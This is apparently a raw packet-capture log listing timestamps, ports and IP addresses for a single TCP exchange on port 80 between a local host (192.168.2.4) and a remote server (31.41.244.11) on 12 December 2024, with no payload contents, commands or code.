Dec 12, 2024 14:26:27.489845991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.489878893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.490056992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.490551949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.490685940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.490977049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.490977049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.491590977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.491611004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.491652966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.491662979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.492316008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.492377996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.492407084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.492428064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.493174076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.493218899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.493254900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.493314028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.494235992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.494251013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.494326115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.494326115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.494977951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.495125055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.495166063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.495166063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.495857000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.495920897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.495944023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.495996952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.496820927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.496901035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.497184992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.497184992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.497623920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.497678995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.497756004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.498001099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.498518944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.498595953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.498635054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.498699903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.499367952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.499417067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.499464989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.499614954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.500356913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.500370026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.500408888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.500489950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.501207113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.501311064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.501313925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.501547098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.502330065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.502397060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.502454042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.502559900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.503058910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.503098965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.503108978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.503317118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.503952026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.503977060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.504003048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.504043102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.504703999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.504757881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.504770041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.504803896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.650892019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.650935888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.651022911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.651022911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.651206017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.651249886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.651340008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.652039051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.652059078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.652129889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.652129889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.652879000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.653152943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.653189898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.653276920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.653301954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.653477907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.654122114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.654186010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.654290915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.654290915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.657253027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.657269001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.657279968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.657290936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.657334089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.657334089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.657334089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.657356977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.657370090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.657577991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.657912016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.658046007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.658099890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.658150911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.658889055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.658915043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.658936977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.658977985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.659455061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.659504890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.659528971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.659580946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.660285950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.660382986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.660444021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.660444021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.661195993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.661258936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.661344051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.661396980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.662122965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.662277937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.662993908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.663311005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.665045023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.665066004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.665111065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.665111065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.665112019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.665179014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.665206909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.665222883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.665227890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.665358067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.665358067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.666162968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.666289091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.666513920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.666591883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.666883945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.666927099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.667119026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.667260885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.667843103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.667862892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.667915106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.667915106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.668644905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.668826103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.668962002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.669358015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.669374943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.669424057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.670250893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.670269012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.670387030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.671122074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.671216011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.671334982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.671432018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.671876907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.671925068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.671963930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.672729969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.672825098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.672943115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.673031092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.673640966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.673701048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.673770905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.673841000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.674581051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.674690008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.674729109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.675523996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.675540924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.675817966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.676404953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.676497936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.676501989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.676554918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.677181959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.677301884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.677692890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.677692890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.678112984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.678174973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.678248882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.678302050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.679112911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.679228067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.679249048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.679546118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.680103064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.680120945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.680149078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.680318117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.681134939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.681206942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.681781054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.682352066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.682403088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.682440996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.682739973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.683043003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.683125019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.683163881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.683213949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.683819056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.683928967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.683975935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.684690952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.684767008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.684818983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.685025930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.685116053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.685708046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.685818911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.686098099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.686098099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.686508894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.686578035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.686624050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.686624050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.687341928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.687465906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.687484026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.687920094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.688174963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.688270092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.688304901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.688394070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.688915968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.688986063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.689042091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.689372063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.689903021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.690007925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.690037012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.690388918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.690923929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.691026926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.691214085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.691214085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.691735983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.691793919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.691845894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.692725897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.692879915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.692945957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.693259001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.693471909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.693531036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.693531036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.693568945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.694367886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.694447994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.694475889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.694511890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.695135117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.695220947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.695338011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.696089029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.696223021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.697154999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.697285891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.698530912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.698544025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.698868036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.698868036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.842969894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.843086958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.843130112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.843362093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.843631029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.843787909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.843826056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.844331026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.844392061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.844454050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.844459057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.844510078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.845251083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.845485926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.845571041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.845594883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.845635891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.846432924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.846610069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.846658945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.847558975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.847681046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.847754955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.848690033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.848773956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.848803997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.850265980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.850403070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.850439072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.851078033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.851207018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.851212978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.851334095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.851969957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.852149010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.852179050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.852385998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.852829933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.852847099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.852895021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.853497982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.853514910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.853777885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.854446888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.854463100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.854506016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.854533911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.855258942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.855274916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.855334997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.856062889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.856081009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.856156111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.856156111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.856729984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.856790066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.856818914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.857194901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.857578993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.857598066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.857732058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.857732058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.858160019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.858733892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.858828068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.858828068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.858942986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.859344006 CET	49801	80	192.168.2.4	31.41.244.11
